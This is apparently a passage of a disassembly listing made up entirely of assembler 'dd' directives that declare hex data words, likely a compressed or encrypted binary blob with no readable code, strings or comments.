		dd 7C653BAh, 0C7A49CF1h, 6D578BA7h, 0EE4DE85Eh,	0B7D1765Dh
		dd 0EF8FBE43h, 82BC5BBCh, 760167BCh, 98D050B1h,	5C3499D0h
		dd 0F000B937h, 0C7F69FFBh, 54E9EAF4h, 5B198D12h, 935D5017h
		dd 41625A4Dh, 0BCF020FBh, 0C436FA7Ah, 7B006Bh, 470007h
		dd 7BE032Fh, 9BC0768h, 12FCE970h, 2D017B7Dh, 39ED718h
		dd 0FE339D1Ch, 0F9ECA717h, 5DA54FF6h, 0EB75DC96h, 5F748D34h
		dd 83125DACh, 0FBBC56B1h, 423239F5h, 1FF77CE2h,	7F225916h
		dd 5912C4B3h, 72258F72h, 0E44B5EFEh, 912CFBD9h,	912D4B05h
		dd 0E2E46B66h, 714896FDh, 52C741AAh, 4580CDE8h,	8F109297h
		dd 0FCE7BBDBh, 6EF56FACh, 0BF6FE6FCh, 1FC5E5FBh, 74CB7F7Dh
		dd 0AC6C5D9Eh, 8CD75667h, 0C64BCD38h, 447A44DCh, 4AB2A0F2h
		dd 6DC48EEFh, 0C0AD224Ch, 823AC27Ch, 8E59A979h,	0E656AFC9h
		dd 7D03DEBDh, 1802B8h, 9162010Ch, 2900137h, 6C80B58h, 72203348h
		dd 86691A72h, 0BBE53FCCh, 7C0E6FF7h, 0FA6A79CBh, 0B88E0F8Dh
		dd 9C8EE4F7h, 3DA737A3h, 8D8DF09Eh, 7CBF36FBh, 7BDFF3FBh
		dd 0CD5F3BF3h, 50B6691Dh, 6CCDFC1Dh, 0BF4387C3h, 0FF8DE13Bh
		dd 0F158DACEh, 0A75DB4B9h, 752C1F33h, 3728DFE9h, 6A2AD755h
		dd 0C2BAB3A9h, 57D6AF5Fh, 0AB8B9206h, 0DAF286D5h, 834082E4h
		dd 361EBAA7h, 64B5BAD3h, 0CBCB2D38h, 5D79E0CDh,	0CCBA2B88h
		dd 4698CAC8h
		dd 0A5F10FFDh, 0C76BB1E0h, 6B5A7CB0h, 0CF9A8FE6h, 0C42349A4h
		dd 6E2FB3C3h, 73FF51FEh, 903AFE5Bh, 5E67EAFAh, 2D036D4Dh
		dd 0B25B3925h, 4A0A4AF2h, 80D4A7D5h, 656D33B2h,	0D4F73EA9h
		dd 918B9457h, 2DF08F93h, 80CC47B0h, 9F88CDh, 3FA88F74h
		dd 5D4F7EABh, 67B97D6Dh, 0DC27CFA3h, 0FE85750Dh, 0AB278AF2h
		dd 3104AAEBh, 56AC68ECh, 56621BE9h, 64839FB5h, 31A3975h
		dd 0CAB80940h, 0E0515E03h, 2BAA2A53h, 5C4C2BABh, 95FA6420h
		dd 0E85280F2h, 0AFAA6D74h, 4B7E28F5h, 9654481Ch, 1404AB52h
		dd 0F6F8AD6Bh, 1CD81988h, 6672002Bh, 0EF143362h, 0F198F6D0h
		dd 2696904Ah, 48AB75CAh, 40CAFE60h, 86A0867Ah, 0B9886183h
		dd 0A67316AFh, 9F30EA22h, 89CCF2D5h, 67201131h,	0D9BC42D3h
		dd 14AE3989h, 0C21E51B6h, 4CCE5CA5h, 325872C0h,	42ADF869h
		dd 0FD7AE58Eh, 7ED1B606h, 0EF40F32h, 95CC6720h,	73C6ADF8h
		dd 0FC75FC05h, 0BF813B24h, 96759AF7h, 5B11C88h,	0B8442BFh
		dd 30A053C4h, 21A6E5C0h, 6FE6296Fh, 902BA99Ah, 8AF94157h
		dd 0E60957C9h, 3C603AECh, 528DC662h, 188A5604h,	0FDE5C15Bh
		dd 0B64AEA7Ah, 5E4CD243h, 0A8166A64h, 328D412Dh, 35A8BCDh
		dd 7041E5E0h, 0C7DDFC47h, 0A351FB3Ch, 0E3F2520Fh, 0BC47D51Dh
		dd 0F3E520E7h, 4D07AF48h, 0C7D6A0E5h, 6DF72476h, 1177FBFDh
		dd 4DE52A97h, 6F215425h, 0C41C2C0h, 0C4D1BEF3h,	0A922D851h
		dd 3891CF07h, 109DCC45h, 8872F573h, 0E9D43AC6h,	3B51E0B3h
		dd 6E98038h, 0BDE74237h, 0F848259Ch, 796E5A3h, 87236509h
		dd 4D25C75Bh, 65531690h, 0B314EE04h, 0A56F247Dh, 9C565D7Ah
		dd 0BBF862B9h, 8DAA74BFh, 0DB8A36C6h, 0DCFC92A7h, 46BF1D22h
		dd 0B83A6068h, 6D8E46Bh, 38F105F1h, 4DB3779Eh, 563C02B6h
		dd 0D63A7A72h, 0C93FE4E4h, 0F15813FEh, 0AA5A1CABh, 0C7BF95BFh
		dd 0E03DE7F4h, 8CBE02A4h, 0F407002Dh, 1AFEC1DCh, 0C005712Eh
		dd 7CA51F89h, 748CA226h, 0B42EDF68h, 0B1F68516h, 5DC53BFh
		dd 45074CBDh, 0FF626B14h, 0E99D011h, 7E4A81Eh, 0B2832520h
		dd 1E3DAC74h, 988F43D2h, 0E7DF8C79h, 0EA0F5B80h, 326FA1D3h
		dd 0C36C4EA5h, 4234FF6Ch, 0D514F49Bh, 0F659FF82h, 249FD81Bh
		dd 0D3D2E61Eh, 0F48B82D1h, 4AD8FBF7h, 5BA99A7Dh, 0F5F329C1h
		dd 8BD81937h, 0DD9BC748h, 5A4F5966h, 36215FA8h,	6E591283h
		dd 8E9C7336h, 0CB474E76h, 0B7F1354Fh, 83A64FA1h, 832F0A73h
		dd 0E08AEC15h, 0D2B419E4h, 0E1C3513Eh, 3B1258DBh, 0DCA85ACDh
		dd 809DC042h, 0A90CBAD5h, 63977A1Eh, 5A0BB096h,	58A434F4h
		dd 1A790D01h, 7B480DE1h, 73A53514h, 0D11A2DBBh,	0E4A0A526h
		dd 2DFD0E01h, 0DED99D60h, 0C9E047ABh, 9CFE9E5Fh, 2663CA63h
		dd 16CD1BFBh, 0B4317F26h, 0D3CCD12Ch, 4EF74C0h,	45D059E5h
		dd 1CBA9E9Fh, 0A22ABC7Ah, 6B31DAECh, 0BAE3DFA4h, 0A717AD7Eh
		dd 0B5233D20h, 22B9FD88h, 0C1DB9F9Fh, 153C72C5h, 0DE0C7DF3h
		dd 92A08B6Dh, 0F41B724h, 12B7E255h, 0ACA3E396h,	64BAE96Fh
		dd 0C47BAE49h, 0F5B6536Ch, 0EFE43E16h, 8CDD800Eh, 31D2D935h
		dd 0D3DF5A76h, 0DB1C3E28h, 652CBE81h, 25A66553h, 406EBEB3h
		dd 0DAEB4F1Dh, 5549B0FAh, 0E84708BAh, 4BD65EF6h, 59339DA9h
		dd 0F8D259Bh, 11CE1898h, 54CA3DF4h, 9B3F7A29h, 874992C2h
		dd 0CB0742Eh, 48FD619Eh, 72A7E0B1h, 8C852D3Fh, 7A1BC289h
		dd 26DF50DBh, 9CA67ACCh, 5A82DCCAh, 9EF04497h, 8F5ED3AEh
		dd 2650A6D6h, 975D3CB4h, 9B5362D7h, 0C4A7573h, 0C479330Eh
		dd 24E1C959h, 9B5547BDh, 0B9D42DA5h, 0DAFF474Eh, 0A4B7EA6Bh
		dd 81EF6488h, 5D002F1Eh, 9843EF54h, 0F752869h, 0DEBA49B7h
		dd 69D71E63h, 8858A832h, 36F4F25Ah, 643E6269h, 0CB7940Dh
		dd 65B595F3h, 5B96B7E8h, 9937D64Dh, 0B632A239h,	0BA64E399h
		dd 424B6465h, 2DA0548Bh, 7F411C1Fh, 0BC3A18CDh,	0E7CE12DCh
		dd 0A32D4F9Eh, 0D483EB2h, 237DC2DCh, 0A70BD2D9h, 0E4B2BF8Ah
		dd 4AB7A6DAh, 1523DA19h, 0C2F508B3h, 855BE6B9h,	0C788FCDFh
		dd 0BCBAE19Ah, 0DE836866h, 7A313317h, 169A833Eh, 155FE398h
		dd 73C12E4Ah, 54FB5EB3h, 2C999D4Bh, 0F2C50A4Dh,	0F0E1E7A8h
		dd 72DFB46Eh, 69912948h, 0FF8FABDDh, 14FD84Bh, 0DBA16B25h
		dd 0B23D314Fh, 559B7294h, 21EFE403h, 2FA963D6h,	0DDB4F50Bh
		dd 1EDFBD16h, 5C6522D1h, 0E54EBA7Bh, 4D37E833h,	0C801DFE8h
		dd 895A6A5Eh, 0FD41E4A5h, 0BFFACF19h, 0E33D22CBh, 1EFA0097h
		dd 0EE2E6332h, 33C4FB43h, 1318CDB6h, 0B23821E4h, 9F2032CDh
		dd 0B34C703Ah, 1CDB0674h, 3F2DA08Ah, 0DCB14D63h, 7FA8D1B4h
		dd 15303D5h, 584F388Fh,	3FC9C6F9h, 0FF1F99CFh, 0EFD84683h
		dd 0C0FFD76Bh, 28076B3Ch, 6A919DE0h, 6CB0DFC8h,	277B9996h
		dd 0F2C2B56h, 0A841AD32h, 0EF380442h, 0CB5F9426h, 0BED1F835h
		dd 129BBC8Dh, 3F5B7210h, 6914AD93h, 0CF1587Dh, 0D280273Bh
		dd 164DFA88h, 0A79AD3DBh, 808B6D90h, 5B608749h,	93D6CFCDh
		dd 744BFE82h, 5F592A52h, 0F82CAC56h, 0F3269CB5h, 5C6C6714h
		dd 2BA39C63h, 0A3BDDB2Bh, 5FDCB8BCh, 0F26004A0h, 0FC78F46Fh
		dd 8E99A54Ah, 0E192BC14h, 4EDF985Ch, 79666765h,	9F35AD6Dh
		dd 13D73925h, 95651E59h, 5FDF8771h, 0ADDBCFEFh,	0EB6B2BF8h
		dd 0B969E8F7h, 1A865D4Ah, 0E7321BF0h, 39959CB4h, 41708CABh
		dd 0D3B99FC0h, 970FA467h, 0A5C75795h, 0FA367999h, 0EFD6729Fh
		dd 1534AC56h, 2EC701AAh, 52CFBCBh, 4543515h, 435A1C4Ch
		dd 0ABD6D664h, 35771E8Ah, 0D4F6F204h, 0CB34FE29h, 529F3CFBh
		dd 65732967h, 9C3152B1h, 0A028AFDFh, 6B2E572Fh,	0F2CC9C4Ch
		dd 0A23B4980h, 96B5E5C5h, 0A7BEF577h, 7539B8ACh, 1731A51Eh
		dd 996B174Bh, 4E30E5CCh, 0CCF8356h, 0E3A8F047h,	694FD446h
		dd 0DB6B2F68h, 65860DA1h, 0E3950D4Bh, 49276C89h, 0E56D1727h
		dd 0ED93CCCBh, 0DA86D457h, 0A957A640h, 365AD278h, 0D7858DB5h
		dd 9DE8DA08h, 31ED2BCEh, 728F6175h, 32F0E03Dh, 0D16C5EB9h
		dd 0CFEA2F9Fh, 5E78B3h,	40010078h, 7015A036h, 0AA9F7F4Ah
		dd 0C2F4A7E7h, 2B3DF465h, 73B1AA71h, 6F262B14h,	0B91A5F8Fh
		dd 7C77704Fh, 3B9BC63Ch, 0C0699C4Dh, 48DCF819h,	0D9B5E41Ch
		dd 0C0C99C4Ch, 49CB2311h, 8CD62CFDh, 70314D1Fh,	0DE670126h
		dd 0CD66BAA8h, 0CDB3118Ah, 0E702A672h, 0C57518FAh, 71376ED9h
		dd 0C96700A6h, 1752BAA8h, 336EDAC7h, 33806271h,	0C59CAA38h
		dd 899A79A0h, 62701B73h, 65239747h, 82BFB90Ch, 79802D77h
		dd 5C07AF08h, 600BB847h, 0F1007807h, 379303E2h,	4F6DA5ECh
		dd 78C72D1Dh, 0B1ADFCE3h, 0BF7D6327h, 7F897EFDh, 601A740Dh
		dd 0B3965975h, 68E7B4CEh, 67891FE4h, 4F62A7A4h,	7B05F681h
		dd 86D0AFB0h, 0F5FDED30h, 0BCFBEC22h, 57559F52h, 5F7C0BCBh
		dd 0A7DEBF96h, 4AF807EFh, 8A051D94h, 0A50A631Fh, 0C600DBEBh
		dd 95958DBBh, 0ACD5B5D5h, 341DFCF0h, 0A95AB6B3h, 770CA00Bh
		dd 4B607D7Dh, 0AB684EF9h, 681E368Fh, 63F01645h,	51A6425Bh
		dd 90E3AFB7h, 31402810h, 4BEE470h, 7014BF56h, 539F44C9h
		dd 23B2E2ADh, 0BBC420B7h, 57169D70h, 0FFB6BC14h, 0B6979C5Ah
		dd 0E0DF3DE6h, 0ED1E448Fh, 0EF03784Fh, 669A75DAh, 0E5344B8Ah
		dd 60C779FAh, 0DB82100Ah, 0F6E78362h, 0C734D9F7h, 7E5FFED0h
		dd 3A21A05Ch, 131F9C23h, 0EC1F4D5Ch, 0D4CE3AD2h, 0E42B1F62h
		dd 0FD1CD5ECh, 0E68AE39Ah
		dd 81CD3E8h, 6E8E68F7h,	39A5D1CDh, 5C7353Ah, 39AED1CDh
		dd 368E694Eh, 734271CDh, 871CD61Ch, 0E68B4734h,	9A39A038h
		dd 217B83B5h, 2360ED6Ah, 7DF601FBh, 5FB2D7ECh, 0FB2E7ECAh
		dd 0CA5FD9EBh, 0F3FB127Eh, 9D2E9DA8h, 5C14CBD9h, 8730E840h
		dd 8274200Eh, 4BE12D43h, 0E096A2C1h, 0E8CEFA6Ah, 1B92476Dh
		dd 7BE81B09h, 0E42BB063h, 3E5F0CECh, 5778C3D3h,	0CDC489C2h
		dd 0EB1C6B99h, 1C4363D3h, 0B163D7EBh, 4A76290Bh, 58E52D8Fh
		dd 27058CB3h, 4B444287h, 0DF39A8A8h, 8C3E105Dh,	760E273Eh
		dd 0A5E1DD34h, 99369780h, 0C4E15C0Bh, 0CAAF2CA5h, 0D931AFFDh
		dd 68EB3CC8h, 0ED1E8DC7h, 13453C60h, 0DE28B3E9h, 12044451h
		dd 0FCB978CFh, 8D6D7A43h, 739D5D88h, 0F12225A6h, 74DAC724h
		dd 8E846612h, 4E8E0931h, 7C20ABB7h, 74127C64h, 83ACC402h
		dd 958C3CFh, 0DB794F3Ah, 43E5051h, 5D0C45D3h, 113B7976h
		dd 7FDA5F0Fh, 0C8EFFE2Dh, 6B76099Ah, 1E0CD921h,	6D3635F8h
		dd 9DB4307Ah, 0B40B7342h, 19C131CDh, 0F06C465Ah, 321097A0h
		dd 8647C2E2h, 8E84DA60h, 0DCB9E351h, 0FAFA44E1h, 0FB710AEBh
		dd 0AFA76A1h, 648DFFBCh, 304BE884h, 0BE13D755h,	0E62442CCh
		dd 165AA143h, 29871244h, 0D518E84Bh, 99AEEF9Bh,	1BCE5484h
		dd 5A463A17h, 0CE826210h, 3F82CC1Fh, 0B3CF6204h, 0E1B1106Eh
		dd 1D1CFA44h, 88D4F674h, 4D4F2B10h, 963A15D8h, 1384C5CBh
		dd 8CB523E9h, 0C3879C85h, 5AB5F489h, 0A44E1516h, 0F1C4D96Fh
		dd 2A639D24h, 44B69DB0h, 825C1FCEh, 5DB24C60h, 1676E310h
		dd 4ED71644h, 3F8B183Ah, 58148098h, 5CB2D906h, 0CE232848h
		dd 989C3D20h, 412784CDh, 0A52490Ah, 4AD6B31Eh, 598260EDh
		dd 81259A39h, 0CEB17EDBh, 325DB3A3h, 0C91C9F18h, 9478E0E0h
		dd 52B1A6CAh, 10A79448h, 40639BE5h, 6485BE58h, 0D4935E83h
		dd 0ABA5043Fh, 0B9A5193Eh, 5BA51E9Fh, 81A5193Fh, 3D28F4Fh
		dd 13D28C9Fh, 6DA51E9Fh, 741A5063h, 9D16095Eh, 82FA3A0Ah
		dd 0C0DDF3F3h, 1908F174h, 2513A44Eh, 6AF84BDAh,	0E2ECC613h
		dd 10A41E0Ah, 29C1CDC6h, 8145A0FAh, 1CCB4188h, 3ECE8225h
		dd 0E472676Fh, 4C93D578h, 9F1C95E3h, 0B6353F24h, 2DDDA390h
		dd 38171147h, 0A2A9352Fh, 93282D73h, 0CBFCB60Eh, 419C594Bh
		dd 0D2427172h, 0C5631B7Eh, 47D4AB5Ah, 0EDC42E0Ch, 0A0A30632h
		dd 153B42F3h, 0A885AF99h, 9CA76098h, 0C136D0A0h, 782D9A39h
		dd 0BBE49530h, 89882631h, 0BDC4236Fh, 4171A396h, 30320246h
		dd 4B063AECh, 75B2918Fh, 7E6F6724h, 21F9F841h, 23431A43h
		dd 6E2671A5h, 0A5D7D111h, 5D45FD0Fh, 48A52F6Eh,	2F877491h
		dd 90DD1D07h, 6BBE7053h, 1A21511Ch, 981779A2h, 0B72EFD45h
		dd 4E4684Ch, 53804A2Bh,	0D98497B4h, 53B6424Eh, 24B93182h
		dd 645C9C8Ch, 2A31D0A6h, 93C43F2Ch, 0D9BDDA3Bh,	13135F95h
		dd 6261EC4Eh, 91BFF6FBh, 47B974C0h, 6F5F35D3h, 0EB359644h
		dd 8F763E8Bh, 0B659426Ah, 0F052AA4Bh, 0CC3C89EFh, 0C20CF37Ah
		dd 0EC228DE6h, 1D9E5ED8h, 0F60B659Bh, 0C9378FC4h, 0BFF75940h
		dd 74098F31h, 0E738244Dh, 55BE5701h, 5EA2C170h,	5D019243h
		dd 1E667D92h, 0CC31449Fh, 0AE3E6384h, 52D56F2h,	463A1ECEh
		dd 64C5AC5h, 0C591B788h, 9EC914CBh, 649B7355h, 0B6181C0Dh
		dd 3B03ACC4h, 0BB9AADF1h, 0A9871FE0h, 71575886h, 92D185F8h
		dd 0CF24362Fh, 0C02C9D06h, 0C669635h, 8FEEFCD3h, 4341AC31h
		dd 930F53C6h, 71D05750h, 0A84115C0h, 7CA0D7B3h,	84E7425Ch
		dd 719460D8h, 9B0F517h,	0A68FFFA4h, 0CFE42DF4h,	1BE3FA3Ah
		dd 8B1DACFFh, 0C32739BFh, 0CC156FD2h, 3FFD2E92h, 0A5175338h
		dd 813F3FE6h, 0FCBADFE6h, 0D07D10C7h, 0A915C171h, 2A91BD22h
		dd 3029A562h, 0DF81D042h, 743CD04Fh, 8291B170h,	7324CBDEh
		dd 68318DD7h, 7096184Dh, 34EC2488h, 0DA3C3C24h,	182E8B05h
		dd 0B80A6BCAh, 0DA1375D7h, 37CDAA6Fh, 0DA40E01Bh, 0AD10C779h
		dd 8DEEBEA5h, 3DB300DFh, 0C977765Fh, 1D565B9Eh,	370D4C9h
		dd 7C0D92DCh, 0A79AB82Eh, 2E4CAC25h, 12E5D2D1h,	0F5E058ADh
		dd 5E43D792h, 0E45D7937h, 81779275h, 3C713D16h,	0C193B5A5h
		dd 0DB128A7Dh, 0D1413BC8h, 0A21DE4C3h, 58790B68h, 3A0B9D3Dh
		dd 86C7DA30h, 8E8363F3h, 5AF3A0A1h, 0ED1E13D9h,	0F1E96276h
		dd 0FB6DBFE0h, 3C388C71h, 90F1FAC1h, 16B8FD75h,	0AD616908h
		dd 2D720869h, 0BB094E0Eh, 71458262h, 0D6BF535Ah, 0EA6B4574h
		dd 0B57A9AD3h, 0A9AD1EA6h, 0D2EA6B5Bh, 0A6B53A9Ah, 0BB535A0Bh
		dd 35AAD4D6h, 235ED49Dh, 74370599h, 19E5CBC5h, 0D89E331Ah
		dd 188133C4h, 2F1E73C7h, 6D6BA81Fh, 0F05DE5A0h,	0F227D96Eh
		dd 2CBE0D75h, 5A44C2E7h, 0C69351ECh, 331A4D18h,	0DED349B2h
		dd 0BAE56206h, 78AC7C97h, 0ADBC6EE7h, 0BE0EC62Fh, 71A7481Dh
		dd 0DC7D6EF3h, 0BC62591Ch, 28FC6251h, 69342125h, 8B07F4ADh
		dd 9A89F27Ah, 0B3AAC605h, 8A117C3Bh, 59E50578h,	0AC4E5856h
		dd 87103B90h, 4B3CE70Dh, 9ACEAACBh, 0C9733549h,	51BC7350h
		dd 0AB0D330Ch, 723A76D8h, 0D8D8D9A4h, 0C863F2D3h, 1A5AC060h
		dd 7D4CC2D6h, 0AEEAC5D5h, 0AD1CB92Fh, 352B7AE6h, 2E893CE4h
		dd 7C67489Bh, 43274543h, 0DE375E8Eh, 24C95BC5h,	0E73A9115h
		dd 0B5150D6Ch, 0E30C988Fh, 0A8BFF922h, 0ED1C5C8Fh, 8D845F0Ah
		dd 0CB2FE287h, 5745F505h, 0EC26AD8Dh, 13449E4Dh, 0B1AE59F5h
		dd 42E8E433h, 1746E917h, 7A286C99h, 0B7A8A87Ch,	0EF6E6C6h
		dd 74894150h, 16C6B912h, 0C973A44Eh, 231C41DEh,	32C76ABFh
		dd 52638516h, 963106EBh, 8EA1266Ch, 0F20F3256h,	0A2C34BADh
		dd 941AEE93h, 0C79C6746h, 0FEE822E9h, 94F70606h, 413CF589h
		dd 4DC361Ch, 0D569DEFAh, 0F7D26CF7h, 0A186B5F7h, 496C5360h
		dd 0F7D4AA70h, 0A1B45A10h, 0D1E86B5Fh, 86B5BA1Ah, 43A1AD2Eh
		dd 0BB4A406Bh, 35AAD0D6h, 5A1AD71Ch, 0FDBCD3B4h, 0D1179A71h
		dd 0CFB2B7A7h, 0B669E0A6h, 0F0A74F1Ah, 0DEA6C098h, 532CEBEAh
		dd 0FC03A208h, 1B332514h, 616F1950h, 897D0D0Ah,	554C13DCh
		dd 3A29D6A3h, 164D5C1Bh, 0DAAB1B13h, 0E040B931h, 29B9A43Ah
		dd 2983D32Dh, 656D443Ch, 7207ABB3h, 8B9B256Fh, 0BCEDF996h
		dd 0AAD176BEh, 64428527h, 0A14DEED7h, 98361351h, 0A71EF25Ch
		dd 3A790119h, 0E8168E42h, 6850A5D6h, 71AE65ADh,	1F972633h
		dd 84F2F2h, 0C427578Ah,	7F48A69Bh, 98E862F8h, 697EB97h
		dd 8505B38Dh, 0D8E0C71Dh, 6947072Ah, 7527A36Eh,	0E5A48861h
		dd 8BE8A43h, 2B4F3A32h,	0FD7896F6h, 66A57CE3h, 9F75096Eh
		dd 4E75DC59h, 14496F0Dh, 0C73A5BB5h, 8466EB71h,	0A45F346Eh
		dd 4EF51C1h, 8B7F99C7h,	88BF796Eh, 0BAB8543Fh, 3785187Ch
		dd 0BCB18C3Ch, 1EB405A8h, 72ADDD07h, 0E6999536h, 18D09559h
		dd 63C3797Fh, 0A0EE7878h, 114359E8h, 31EEC3E3h,	0B0453115h
		dd 431BCDFEh, 0C04FDAFFh, 2DFFBFEBh, 83A4E598h,	0D71DE7FDh
		dd 0BCE902B6h, 9EDE8063h, 1E6ED077h, 306C717Ah,	0EB145836h
		dd 0E61DB6C6h, 70D5DE26h, 0E8F05490h, 9A931188h, 0E9DA3BCFh
		dd 4CD60994h, 0A5FD0C10h, 0E6B62540h, 106B73CEh, 0EA486C96h
		dd 0A8C2FADEh, 51052E5Dh, 35498D08h, 32F5CE50h,	7153C31Ah
		dd 1BB6705Ch, 0D165181Dh, 6AB8205Fh, 0CFB9D4C2h, 0BEB90C4Ah
		dd 0E0EDC2BAh, 9B2F90BCh, 0B4D6344h, 0DFDB231Dh, 808E41Dh
		dd 579DB63Eh, 6F49F9A6h
		dd 46E42FFh, 7C8D7FEEh,	26B8B4D1h, 2A087BC9h, 415D3128h
		dd 0CBE6A45Eh, 7E2E57A1h, 6B974EAFh, 36842952h,	219D68F9h
		dd 4DEA639h, 0F696298Eh, 0F35FFB8Fh, 64115B0h, 7456A547h
		dd 65A3BCF8h, 15A28B06h, 0A3E7B5F4h, 5F52DD6Dh,	0E3F399BAh
		dd 82992F9h, 307877A8h,	5BE3422Ah, 90299032h, 53029A64h
		dd 1A5338B8h, 0FA439872h, 5125F1D4h, 0C1F32423h, 2DAB7249h
		dd 1E4AEC3Fh, 2964842Dh, 20A62904h, 421974BFh, 0B042EBB0h
		dd 693042EBh, 4FE126F5h, 0B22EAE69h, 68E8F88Ch,	6A6EAD45h
		dd 25681A7Bh, 0B8E7F1DDh, 2878E3B5h, 6706C675h,	76927E93h
		dd 0B12BE33Ah, 90D4A826h, 4B9B0030h, 27B2D2D7h,	0C4E34F58h
		dd 0F797F74Dh, 0E625B5Fh, 0C1CDC796h, 0E5851F52h, 7857960h
		dd 187DF84Bh, 87B0E52Ch, 74542419h, 0A5DE26A5h,	779CF515h
		dd 49DAC574h, 1EFA6D72h, 919CBF62h, 7BE44031h, 94C0D04Fh
		dd 730F7F48h, 77E67A3h,	0BFBDA336h, 19A8D071h, 7B581939h
		dd 0F671F81Bh, 0F6636A55h, 0D37138BBh, 0B5FF7FF1h, 0D69F9342h
		dd 0F89F831h, 6674E23Ah, 0F3630656h, 9B1FE18Dh,	3C07F4B6h
		dd 0FD023441h, 25BE8F09h, 45B780BDh, 0BE0F2A07h, 9FB9EB3Fh
		dd 0E21B2F0h, 0D1FACF9Ch, 0B445683Fh, 5186D273h, 3AEDC3A6h
		dd 3D91E8EFh, 0E0F64BB8h, 170E2936h, 3E4767EBh,	0B62EFC86h
		dd 0EE3C7898h, 5C586EB2h, 2F9648C1h, 0D1966F27h, 5C408EC1h
		dd 6CF7FEE5h, 16FF9AB3h, 0B2FD5D25h, 732B8FACh,	6C0BD1B6h
		dd 0E47514A3h, 0D33567BBh, 6254BEDFh, 52B31B06h, 564B8747h
		dd 59A347DAh, 2BA8A847h, 8C3CEC72h, 0BABAD03Fh,	0E8C7DF8h
		dd 0B9BC6981h, 0E8E1ADCEh, 3ADE09A0h, 7DE39F81h, 0D1197A78h
		dd 0F19F6840h, 489C279Ah, 7135127Fh, 0ED99C4FBh, 7DAA3ED3h
		dd 9A9669A0h, 0FD0AA012h, 0FC42A8E3h, 13702DB0h, 0F599F07Dh
		dd 0DFAD8C75h, 703186FDh, 5A01B0C1h, 631796A4h,	0A6B6F292h
		dd 0F89AF190h, 9DB60B22h, 0C8C62E6h, 0C15FE7F4h, 0DED22F6Dh
		dd 91DFF752h, 7E8E43E4h, 0DAF0EF9Ah, 0BF1347DBh, 0E17818F6h
		dd 0DEDF4BB1h, 0BDA49C73h, 1476A2BDh, 744FA435h, 5D8D9C98h
		dd 707B673Dh, 7BCDDF50h, 0C3C0E3E8h, 69DA953Ch,	0BD72E52Ah
		dd 0D9B42943h, 0DCB9C28Dh, 0E6A34B31h, 3A720BEh, 0C1FC2EEFh
		dd 3184D5DDh, 0DC73B22Ch, 5E0ED939h, 727F4C6Dh,	7CF13239h
		dd 0B0262B17h, 0ED594EB7h, 44B1AEADh, 4E1AAC6Ch, 5ABD0D69h
		dd 6821A743h, 0D6A4F44h, 0FAD3B547h, 0AD88AF4Ah, 0FA90CBC9h
		dd 9FA948C9h, 4A67D8C4h, 5865A9BDh, 876DC1EAh, 0A629B043h
		dd 75244443h, 17DAD5D8h, 7BD3B462h, 4A95B779h, 0A34FA5D5h
		dd 6717443Dh, 0DDEE4B4Ah, 0C5220190h, 0D00E527Fh, 3BAC137Ah
		dd 43C0914Dh, 653866D6h, 65AE0669h, 0DA9528Ch, 601B65DAh
		dd 4DEDD593h, 363A97BAh, 666746D9h, 6BC62AB0h, 0AC76AF5Ch
		dd 6E92E690h, 14349736h, 4C8578E7h, 9C2056A5h, 392C05E7h
		dd 1650735Eh, 5A36EE6Ah, 0A0DE7071h, 3B3732FCh,	0DE55EBC8h
		dd 60D66CCFh, 0BC91732Eh, 0F795B99Fh, 7B266B33h, 213D5153h
		dd 6988976Eh, 10A1581Dh, 943E5ACDh, 41BE68FEh, 7BC43DB6h
		dd 0F05D2C4Ah, 0C5E5FC36h, 5802FD60h, 0D3595177h, 5D7BBE0Dh
		dd 4E4FB6CCh, 0A372039Fh, 62DDEB1Ah, 377F4A14h,	0C23F0DE9h
		dd 1474581Ah, 0E03C378Dh, 54B2A5C9h, 317D5EBCh,	0AC60DC1Ch
		dd 0F0932E77h, 0F862D12Eh, 0CBC4F2h, 0E826059Ah, 32A6B9EFh
		dd 7F42DDF6h, 7A7BB1Fh,	0FA335C37h, 4B5A05FBh, 1E90EC8Dh
		dd 5BAC0716h, 90BFCADEh, 23B71A6Fh, 8B8F787Bh, 42A31A14h
		dd 0E5E5EE0h, 0CE2C8844h, 967F1B3Bh, 69BA7575h,	0FBD7FDBFh
		dd 0A570CBE7h, 9C9DF94Eh, 0D196F35Ch, 0EE196FF7h, 0E3BBC39h
		dd 0FBE036F8h, 2E009F80h, 8301FA01h, 811C3880h,	7DC024Eh
		dd 1700B58h, 800203B6h,	0F3C053Fh, 3EF80938h, 0C680A7E0h
		dd 1BB9A249h, 0AE005FCFh, 87F16203h, 9F01738Bh,	6405AC05h
		dd 0ED80DC01h, 2B600080h, 0F3C59FF0h, 700DA028h, 0E09FF11Eh
		dd 44E80DD9h, 7F3C1DF8h, 17CB8807h, 41C02EE2h, 0B9E0A5A4h
		dd 0D80D9012h, 9A41680Ah, 2FCF17h, 2FE010Eh, 6CF117F1h
		dd 0F018FC03h, 0A3E38897h, 0C217737Eh, 0FBC00BFh, 0ED61C188h
		dd 4052C004h, 0E00B6016h, 0E0178009h, 1C05EC07h, 8F7D8F72h
		dd 4E665958h, 0CF1F3D45h, 0D4F72B2Ah, 2FA5594h,	33D675E5h
		dd 0BB9D6338h, 91ECF719h, 0E8CD3CE5h, 9E634E53h, 3D3AE1DCh
		dd 76CBBBD5h, 0EA4B5FF2h, 0FE15F834h, 59EB155Bh, 0E44E099Bh
		dd 0B691970Ch, 4F53A272h, 51A089E6h, 4B86A8E7h,	3AA6B158h
		dd 246FC522h, 296E798Dh, 1EAD4733h, 0F7A65696h,	0E4F03549h
		dd 70AC6718h, 0B1D8BF02h, 7F0CB0A5h, 1948F266h,	0F9B9988Eh
		dd 94F59988h, 0B76738D7h, 0C6B2E72Ch, 9FA62138h, 56A5334Eh
		dd 0AC6E9B2Eh, 0FA964ED3h, 91C3F8DDh, 0D1154972h, 881FCBBFh
		dd 0A0DF9F7Ch, 0A9CA9FF8h, 5AB0E00Bh, 8ED98579h, 0C50AC68Eh
		dd 0AF2EC817h, 162AD4F3h, 8D4B5199h, 0A4371794h, 0CC97032Eh
		dd 375F5D57h, 6CF84742h, 31C9E458h, 8DD67111h, 0AFADABA9h
		dd 9C46B132h, 9385BBA1h, 18BD566Ah, 6932AAD5h, 31AD89E4h
		dd 0E445B74Fh, 3FD92C8Ah, 313F89C6h, 3A4179E1h,	0A9FE36D3h
		dd 134E09B8h, 0CC4E9E46h, 0B6B6B1CCh, 0B21A0CF5h, 95A86CEEh
		dd 0CE5F4638h, 7D1A51CCh, 0EB1BF923h, 45D45CE4h, 5D45D45Dh
		dd 0D45D45D4h, 45D45D45h, 5D45D45Dh, 0D45D45D4h, 45D45D45h
		dd 5D45D45Dh, 0D45D45D4h, 45D45D45h, 5D45D45Dh,	6E3EFDD4h
